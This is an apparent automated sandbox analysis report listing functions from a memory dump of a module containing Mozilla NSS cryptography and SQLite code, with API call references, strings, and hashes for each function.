Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: a7b25d98f773dd6a8e7d28da6274e38fae29ba572828e1da9c74c238085bcfaf
Instruction ID: fbfda920945a4c39e71d0252e8afb3a698779740f30db96178ce81b28ad05d4c
Opcode Fuzzy Hash: a7b25d98f773dd6a8e7d28da6274e38fae29ba572828e1da9c74c238085bcfaf
Instruction Fuzzy Hash: 65129C706093418FD711CF19C498A5BBBF2BF8531CF1889ADE8958BB51E731E846CB92

Function 6CCA5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

u, xrefs: 6CCA81DA
sub-select returns %d columns - expected %d, xrefs: 6CCA805F
-, xrefs: 6CCA62F9
2, xrefs: 6CCA65B4
-, xrefs: 6CCA6228
ON clause references tables to its right, xrefs: 6CCA6BEC
NOCASE, xrefs: 6CCA8703
BINARY, xrefs: 6CCA8708, 6CCA8737, 6CCA87B8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 0ff81d59e2e2d78f57d8e21ffff8037cfa69bb4a67c5b701c9fad7d6d3b4cb6d
Instruction ID: 1311f3441235bad6613edf45833b4b96bf01285625880c499072b5f766b5252a
Opcode Fuzzy Hash: 0ff81d59e2e2d78f57d8e21ffff8037cfa69bb4a67c5b701c9fad7d6d3b4cb6d
Instruction Fuzzy Hash: 3943A474A087428FD304CF59C498B5AB7F2BF89318F14865DE8998BB56E730D847CB92

Function 6CD4EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD4C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CD4DAE2,?), ref: 6CD4C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD4F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD4F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CD4F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD4F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CE1218C), ref: 6CD4F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CD4F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CD4F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CD4F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CD4F210

Part of subcall function 6CCF52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CD4F1E9,?,00000000,?,?), ref: 6CCF52F5
Part of subcall function 6CCF52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CCF530F
Part of subcall function 6CCF52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CCF5326
Part of subcall function 6CCF52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CD4F1E9,?,00000000,?,?), ref: 6CCF5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CD4F227

Part of subcall function 6CD3FAB0: free.MOZGLUE(?,-00000001,?,?,6CCDF673,00000000,00000000), ref: 6CD3FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CD4F23E

Part of subcall function 6CD3BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CCEE708,00000000,00000000,00000004,00000000), ref: 6CD3BE6A
Part of subcall function 6CD3BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CCF04DC,?), ref: 6CD3BE7E
Part of subcall function 6CD3BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CD3BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CD4F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CD4F3A8

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CD4F3B3

Part of subcall function 6CCF2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CCF2D3C
Part of subcall function 6CCF2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CCF2D5F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f223159919bbf73730bf8022a18147464a07959d94d06f48760fa4a0aab2aa12
Instruction ID: 12f818f972af33a8e34d50af5e0d7ed2eda4f478dc591e86209f2e0d580c2d55
Opcode Fuzzy Hash: f223159919bbf73730bf8022a18147464a07959d94d06f48760fa4a0aab2aa12
Instruction Fuzzy Hash: 15D15EB6E01615DFDB14CFA9D880A9EB7F6EF48308F158129DA15A7731E731E806CB60

Function 6CD7DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CD57FFA,00000000,?,6CD823B9,00000002,00000000,?,6CD57FFA,00000002), ref: 6CD7DE33

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

Part of subcall function 6CD7D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CD7DE74,6CD57FFA,00000002,?,?,?,?,?,00000000,6CD57FFA,00000000,?,6CD823B9,00000002), ref: 6CD7D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CD57FFA,00000000,?,6CD823B9,00000002,00000000,?,6CD57FFA,00000002), ref: 6CD7DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CD7DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD7E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD7E121
PK11_FreeSymKey.NSS3(?), ref: 6CD7E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CD7E195
PR_GetCurrentThread.NSS3 ref: 6CD7E1FC

Part of subcall function 6CD72460: PR_SetError.NSS3(FFFFE005,00000000,6CE17379,00000002,?), ref: 6CD72493

Strings

handshake data, xrefs: 6CD7DFF7
key, xrefs: 6CD7E046
early application data, xrefs: 6CD7DFC9
application data, xrefs: 6CD7DFE0

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 5651714cce2f76c510acd6a645ad14a49094d4c4d884f6724d51a453d9772e0e
Instruction ID: a2bb5557667d4a556393fbbcc9d442eafb2142f0110e570ca653d0ba0a1d6440
Opcode Fuzzy Hash: 5651714cce2f76c510acd6a645ad14a49094d4c4d884f6724d51a453d9772e0e
Instruction Fuzzy Hash: 42C1E671A00215DFDB24CF69CC81BEAB7B4FF45318F144129E9099BAA1E731E954CBB1

Function 6CC6ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC6ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC6EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC6EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CC6EF98

Strings

%s at line %d of [%.10s], xrefs: 6CC6F492
database corruption, xrefs: 6CC6F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC6F483

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 1f064fe4931eea77cf61179811d95b694e1b8243540bb62e3b23623dffb16966
Instruction ID: 6006872e23f96f6af345f86906e09ee716244c7892911b49e8353d0a28431099
Opcode Fuzzy Hash: 1f064fe4931eea77cf61179811d95b694e1b8243540bb62e3b23623dffb16966
Instruction Fuzzy Hash: 80620370A042458FDB14CF26CAC07AABBF2BF45318F18419DD8456BF92E735E886CB91

Function 6CD0FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CD0FD06

Part of subcall function 6CD0F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CD0F696
Part of subcall function 6CD0F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CD0F789
Part of subcall function 6CD0F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CD0F796
Part of subcall function 6CD0F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CD0F79F
Part of subcall function 6CD0F670: SECITEM_DupItem_Util.NSS3 ref: 6CD0F7F0

Part of subcall function 6CD33440: PK11_GetAllTokens.NSS3 ref: 6CD33481
Part of subcall function 6CD33440: PR_SetError.NSS3(00000000,00000000), ref: 6CD334A3
Part of subcall function 6CD33440: TlsGetValue.KERNEL32 ref: 6CD3352E
Part of subcall function 6CD33440: EnterCriticalSection.KERNEL32(?), ref: 6CD33542
Part of subcall function 6CD33440: PR_Unlock.NSS3(?), ref: 6CD3355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CD0FDAD

Part of subcall function 6CD3FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CCE9003,?), ref: 6CD3FD91
Part of subcall function 6CD3FD80: PORT_Alloc_Util.NSS3(A4686CD4,?), ref: 6CD3FDA2
Part of subcall function 6CD3FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CD4,?,?), ref: 6CD3FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CD0FE00

Part of subcall function 6CD3FD80: free.MOZGLUE(00000000,?,?), ref: 6CD3FDD1

Part of subcall function 6CD2E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD2E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CD0FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CD0FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CD0FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CD0FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CD0FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CD0FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CD10007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CD10029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CD10044

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 88a9586e10450b285534af65412c2df85c4ae4560ee108c6018cbecda2c1159d
Instruction ID: 399bbe2cad712098d22f7c24eaa0de6f2709025a5120c76e506b4e351149c958
Opcode Fuzzy Hash: 88a9586e10450b285534af65412c2df85c4ae4560ee108c6018cbecda2c1159d
Instruction Fuzzy Hash: 1FB1B771604301AFE704CF2DC840A6BF7E5FF88318F65861DE99987A61E770E945CB91

Function 6CD07D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CD07DDC

Part of subcall function 6CD407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CCE8298,?,?,?,6CCDFCE5,?), ref: 6CD407BF
Part of subcall function 6CD407B0: PL_HashTableLookup.NSS3(?,?), ref: 6CD407E6
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD4081B
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD40825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CD07DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CD07F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CD07F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CD07F98
PK11_FreeSymKey.NSS3(?), ref: 6CD07FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD07FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CD08000

Part of subcall function 6CD29430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CD07F0C,?,00000000,00000000,00000000,?), ref: 6CD2943B
Part of subcall function 6CD29430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CD2946B
Part of subcall function 6CD29430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CD29546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD08110
PK11_FreeSymKey.NSS3(00000000), ref: 6CD0811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CD0822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CD0823C

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 265ee8b0a47fa6cf75f7e46ef174ed3afb8bdfbfbff89bf18078d53fe87a9a6c
Instruction ID: afc7bc50a29e6e682048a6bba261ba7c57918f9b19238dfd5f7e90a036c3fd6c
Opcode Fuzzy Hash: 265ee8b0a47fa6cf75f7e46ef174ed3afb8bdfbfbff89bf18078d53fe87a9a6c
Instruction Fuzzy Hash: D1C160B1E00259EBEB21CF18CC40FDAB7B9AF05348F0181E5E91DA6651E7719E85CFA1

Function 6CD10EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CD10F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CD10FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CD11006
PK11_FreeSymKey.NSS3(?), ref: 6CD1101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD11033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD1103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CD11048
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CD110BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CD110D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1112E

Part of subcall function 6CD11570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CD108C4,?,?), ref: 6CD115B8
Part of subcall function 6CD11570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CD108C4,?,?), ref: 6CD115C1
Part of subcall function 6CD11570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD1162E
Part of subcall function 6CD11570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD11637

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: f3142e9e2968c41dc220813db5fc068018047ce0d206479f9c6b5962521e53c6
Instruction ID: 81c358af07ca11c06571201e07e97ed225017653272429dfbe2dc837175b9362
Opcode Fuzzy Hash: f3142e9e2968c41dc220813db5fc068018047ce0d206479f9c6b5962521e53c6
Instruction Fuzzy Hash: A271C0B1E08205CFDB00CFA5EC85A6AB7F0BF58318F14862DE91997B21E731E955CB91

Function 6CD31CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CD31F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CD32166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CD3228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CD323B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD3241C

Strings

serial, xrefs: 6CD322A2
model, xrefs: 6CD323CB, 6CD323EC
token, xrefs: 6CD31F2C
manufacturer, xrefs: 6CD32179

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 14419c078cbde22e747616fac3b5b0cefc3dc29c0c3aec58606dc9a7e248fed2
Instruction ID: 21cb0209f74d08cdce61069ce2724f0b5381d92cdacb6238d6e3150382b678e1
Opcode Fuzzy Hash: 14419c078cbde22e747616fac3b5b0cefc3dc29c0c3aec58606dc9a7e248fed2
Instruction Fuzzy Hash: 3202F062D0C7D9AEF7318771C84C3D76AE09B4732CF4C266EC9DE46693C3A859898391

Function 6CD36C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CCE1C6F,00000000,00000004,?,?), ref: 6CD36C3F

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CCE1C6F,00000000,00000004,?,?), ref: 6CD36C60
PR_ExplodeTime.NSS3(00000000,6CCE1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CCE1C6F,00000000,00000004,?,?), ref: 6CD36C94

Strings

gfff, xrefs: 6CD36CFD
gfff, xrefs: 6CD36D9C
gfff, xrefs: 6CD36D66
gfff, xrefs: 6CD36D30
gfff, xrefs: 6CD36CF5

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: c515d861e19f47ab609d9c3ad9509844482a5064f44793046d068db0a0076533
Instruction ID: ef04aceb355928b9fa1f38142d471e61fb908b77475b2c241c5f4eef7c08f92e
Opcode Fuzzy Hash: c515d861e19f47ab609d9c3ad9509844482a5064f44793046d068db0a0076533
Instruction Fuzzy Hash: A2514B72B015494FC708CEADDC526DEBBDAABE5310F48C23AE441DB781E638E906C751

Function 6CDB0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CDB1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CDB10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDB1353

Strings

%lld, xrefs: 6CDB114B
zeroblob(%d), xrefs: 6CDB1223
'%.*q', xrefs: 6CDB1217, 6CDB1292
$, xrefs: 6CDB12A0
%02x, xrefs: 6CDB12F6
-- , xrefs: 6CDB0FF5
NULL, xrefs: 6CDB119E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: edf06a46424bb106fdcdfadd6a500f725f2d52cf7b0ffcbe9e1912c29ee28fd7
Instruction ID: 38b1f28f5072972f2e8dc48f77cb3c501152a673e25cf5e913815dfcd8d7d9ee
